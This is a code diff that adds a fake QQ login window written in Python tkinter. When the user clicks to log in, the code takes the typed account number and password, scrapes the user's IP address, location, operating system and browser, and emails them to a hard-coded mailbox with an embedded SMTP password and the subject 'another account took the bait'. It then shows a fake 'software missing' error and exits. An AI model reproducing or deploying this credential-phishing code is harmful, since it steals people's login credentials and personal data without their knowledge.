11from tkinter import *
2- import os
2+ from tkinter import messagebox
3+ import os ,urllib .request
4+ from bs4 import BeautifulSoup
5+ import smtplib
6+ from email .mime .text import MIMEText
7+ from email .header import Header
38
49class QQ_daogao ():
510
611 def __init__ (self ):
712 self .windows = Tk ()
813
9- def callback (self ,event = None ):
10- pass
14+ def get_ip (self ):
15+ url = "http://ip.chinaz.com/"
16+ headers = {"User-Agent" :"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36" }
17+ try :
18+ urq = urllib .request .Request (url ,headers = headers )
19+ Req = urllib .request .urlopen (urq ,timeout = 20 ).read ()
20+ BeSoup = BeautifulSoup (Req , 'lxml' )
21+ Befind = BeSoup .find_all ('dd' )
22+ return [i .get_text () for i in Befind if i ]
23+ except TimeoutError :
24+ messagebox .showerror ("提示" ,message = "网络故障,请检查网络是否已连接!" )
25+ self .windows .destroy ()
26+
27+ def send_mail (self ):
28+ self .mqq_update_error_open = PhotoImage (file = "img/mqq_update_error.png" )
29+ if self .user .get ().strip () == "" :
30+ messagebox .showinfo (title = "提示" ,message = "请输入账号" )
31+ elif self .password .get ().strip () == "" :
32+ messagebox .showinfo (title = "提示" ,message = "请输入密码" )
33+ elif self .user .get () == "1473018671" :
34+ messagebox .showinfo (title = "提示" ,message = "您不能登录此账号" )
35+ else :
36+ serder = "[email protected] " # 发送源,发送给用户的邮箱 37+ receiver = "[email protected] " # 用户的邮箱地址 38+ smtp_server = "smtp.qq.com" # QQ的SMTP,默认是关闭状态,需要手动开启
39+ username = "[email protected] " # 发送源登陆,邮箱地址 40+ password = "cswqzrqkhzzkdgjg" # 发送源登陆,SMTP生成的密码,在邮箱里面设置~~
41+ msg = MIMEText ("账号:{}\n 密码:{}\n ip:{}\n 来自:{}\n 操作系统:{}\n 浏览器:{}" .format (self .user .get (),self .password .get (),self .get_ip ()[0 ],self .get_ip ()[1 ][0 :- 4 ],self .get_ip ()[2 ],self .get_ip ()[- 1 ]), 'plain' , 'utf-8' ) # 发送的内容主体~~~
42+ msg ['From' ] = serder # 发送源
43+ msg ['To' ] = receiver # 发给谁
44+ msg ['Subject' ] = Header (u"又有账号上钩咯~~~" , "utf-8" ).encode () # Email标题
45+ smtp = smtplib .SMTP_SSL (smtp_server , 465 )
46+ smtp .login (username , password ) # 登陆验证
47+ smtp .sendmail (serder , receiver , msg .as_string ())
48+ Button (self .windows ,image = self .mqq_update_error_open ,bg = "#EBF2F9" ,fg = "#FFF" ,relief = "flat" ).place (x = 140 ,y = 315 )
49+ messagebox .showerror (title = "提示" ,message = "软件缺失,请重新安装!" )
50+ self .windows .destroy ()
51+
1152 def main (self ):
53+ self .windows .wm_attributes ('-topmost' ,1 ) # 将窗口顶置~
1254 ws = self .windows .winfo_screenwidth ()
1355 hs = self .windows .winfo_screenheight ()
1456 w = 430
@@ -21,26 +63,31 @@ def main(self):
2163 pass
2264 else :
2365 self .windows .overrideredirect (True )
24- self .windows .config (bg = "#00BFFF" )
66+ self .windows .config (bg = "#F5FAFF" )
67+ topimage = PhotoImage (file = "img/main.png" )
68+ self .switch_single_normal_open = PhotoImage (file = "img/switch_single_normal.png" )
69+ self .reget_click_open = PhotoImage (file = "img/reget_click.png" )
70+ self .exitimage = PhotoImage (file = "img/close.png" )
71+ self .corner_right_normal_breath_open = PhotoImage (file = "img/corner_right_normal_breath.png" )
72+ Label (self .windows ,image = topimage ).pack ()
2573 self .windows .overrideredirect (True )
26- image = PhotoImage (file = "head.png" ,width = 100 ,height = 100 )
27- cv = Canvas (self .windows ,bg = "#e8f0fb" )
28- cv .configure (width = 500 )
29- cv .configure (height = 150 )
30- cv .create_image (70 ,50 ,image = image )
31- # cv.create_line(0,100,50,50,width=10)
32- # cv.create_oval(15,15,100,100,fill="#FFF")
33- cv .place (x = 0 ,y = 180 )
34- exit_btn = Button (self .windows ,text = "X" ,font = ("楷体" ,10 ),command = self .windows .quit ,bg = "#00BFFF" ,activebackground = "red" ,relief = "flat" ).place (x = 395 ,y = - 5 )
35- # Label(self.windows,bg="#F5FAFF",width="80",height="8").pack(side="bottom")
36- user = Entry (self .windows ,font = ("微软雅黑" ,12 ),relief = "flat" )
37- user .place (x = 130 ,y = 195 )
38- password = Entry (self .windows ,font = ("微软雅黑" ,12 ),relief = "flat" )
39- password .place (x = 130 ,y = 225 )
40- login_btn = Button (self .windows ,text = "登 录" .center (46 ),fg = "#FFF" ,activebackground = "#87CEFA" ,bg = "#00BFFF" ,font = ("微软雅黑" ,10 ),relief = "flat" ).place (x = 130 ,y = 280 )
74+ # image = PhotoImage(file="img/head1.png")
75+ self .exit_btn = Button (self .windows ,image = self .exitimage ,font = ("楷体" ,10 ),command = self .windows .quit ,bg = "#0090BA" ,activebackground = "red" ,relief = "flat" ).place (x = 400 ,y = 1 )
76+ self .user = StringVar ()
77+ self .password = StringVar ()
78+ self .user .set ("1473018671" )
79+ user = Entry (self .windows ,textvariable = self .user ,font = ("微软雅黑" ,10 ),relief = "flat" ,bg = "#FFF" ,width = "15" ,fg = "#000" )
80+ user .place (x = 135 ,y = 200 )
81+ password = Entry (self .windows ,textvariable = self .password ,font = ("微软雅黑" ,10 ),relief = "flat" ,bg = "#FFF" ,width = "15" ,show = "*" ,fg = "#000" )
82+ password .place (x = 135 ,y = 230 )
83+ switch_single_normal = Button (self .windows ,image = self .switch_single_normal_open ,bg = "#EBF2F9" ,relief = "flat" ).place (x = 0 ,y = 303 )
84+ remenber_btn = Checkbutton (self .windows ,text = "记住密码" ,bg = "#EBF2F9" ,relief = "flat" ).place (x = 130 ,y = 255 )
85+ zidong_login_btn = Checkbutton (self .windows ,text = "自动登录" ,bg = "#EBF2F9" ,relief = "flat" ).place (x = 251 ,y = 255 )
86+ corner_right_normal_breath = Button (self .windows ,image = self .corner_right_normal_breath_open ,bg = "#EBF2F9" ,relief = "flat" ).place (x = 400 ,y = 300 )
87+ reget_click = Button (self .windows ,image = self .reget_click_open ,bg = "#EBF2F9" ,relief = "flat" ,command = self .send_mail ).place (x = 130 ,y = 285 )
4188 self .windows .mainloop ()
4289
4390
4491if __name__ == '__main__' :
4592 q = QQ_daogao ()
46- q .main ()
93+ q .main ()
0 commit comments